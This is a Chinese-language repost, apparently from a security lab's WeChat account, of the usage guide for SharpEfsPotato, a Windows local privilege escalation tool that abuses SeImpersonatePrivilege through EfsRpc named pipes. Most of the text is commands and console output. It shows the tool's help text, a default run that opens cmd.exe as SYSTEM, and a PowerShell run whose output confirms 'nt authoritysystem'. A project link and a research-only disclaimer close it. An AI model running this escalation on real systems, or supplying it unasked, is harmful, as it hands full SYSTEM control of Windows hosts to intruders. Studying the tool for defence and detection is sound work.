用法
C:temp>SharpEfsPotato.exe -h
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
-p, --prog=VALUE Program to launch (default cmd.exe)
-a, --args=VALUE Arguments for program (default null)
-h, --help Display this help
默认行为:在单独的进程中作为系统启动 cmd.exe(在单独的控制台中)
C:temp>SharpEfsPotato.exe
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[on evil PIPE \localhost/pipe/44259a4a-cbea-499b-9dc5-a9b1c13a4b9f/44259a4a-cbea-499b-9dc5-a9b1c13a4b9f44259a4a-cbea-499b-9dc5-a9b1c13a4b9f ] Triggering name pipe access
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[0x6d3 ]RpcBindingSetAuthInfo failed with status
[ ] Server connected to our evil RPC pipe
[for process creation ] Duplicated impersonation token ready
[ ] Intercepted and authenticated successfully, launching program
[ ] Process created, enjoy!
指定 PowerShell 二进制文件和参数
C:temp>SharpEfsPotato.exe -p C:Windowssystem32WindowsPowerShellv1.0powershell.exe -a "whoami | Set-Content C:tempw.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[on evil PIPE \localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/c56e1f1f-f91c-4435-85df-6e158f68acd2c56e1f1f-f91c-4435-85df-6e158f68acd2 ] Triggering name pipe access
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[0x6d3 ]RpcBindingSetAuthInfo failed with status
[ ] Server connected to our evil RPC pipe
[for process creation ] Duplicated impersonation token ready
[ ] Intercepted and authenticated successfully, launching program
[ ] Process created, enjoy!
C:temp>type C:tempw.log
nt authoritysystem
项目地址
https://github.com/bugch3ck/SharpEfsPotato
原文始发于微信公众号(Khan安全攻防实验室):提权 - SharpEfsPotato
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论